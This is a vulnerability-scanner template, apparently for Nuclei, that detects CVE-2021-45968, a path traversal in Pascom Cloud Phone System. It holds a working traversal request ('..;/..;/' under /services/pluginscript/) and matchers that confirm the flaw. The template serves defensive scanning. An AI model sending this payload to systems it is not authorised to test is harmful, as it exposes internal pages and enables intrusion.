36 lines
1.0 KiB
YAML
36 lines
1.0 KiB
YAML
|
id: CVE-2021-45968
|
||
|
|
|
||
|
|
info:
|
||
|
|
name: Pascom CPS Path Traversal
|
||
|
|
author: dwisiswant0
|
||
|
|
severity: high
|
||
|
|
description: |
|
||
|
|
Pascom version packaged with Cloud Phone System (CPS)
|
||
|
|
versions before 7.20 contains a known path traversal issue
|
||
|
|
reference:
|
||
|
|
- https://kerbit.io/research/read/blog/4
|
||
|
|
tags: cve,cve2021,pascom,lfi
|
||
|
|
|
||
|
|
requests:
|
||
|
|
- raw:
|
||
|
|
- |
|
||
|
|
GET /services/pluginscript/ HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
|
||
|
|
- | # Double parent to access CMS index
|
||
|
|
GET /services/pluginscript/..;/..;/ HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
|
||
|
|
- | # Verifying CMS
|
||
|
|
GET / HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
|
||
|
|
req-condition: true
|
||
|
|
matchers:
|
||
|
|
- type: dsl
|
||
|
|
dsl:
|
||
|
|
- "status_code_2 != status_code_1"
|
||
|
|
# - "status_code_2 == 200" # This would contradict the matcher below if enabled, because it reduces false-positives - while the status of traversal isn't always OK (200)
|
||
|
|
- "contains(body_2, 'pascom GmbH & Co KG') || contains(body_3, 'pascom GmbH & Co KG')" # Verifying CMS
|
||
|
|
condition: and
|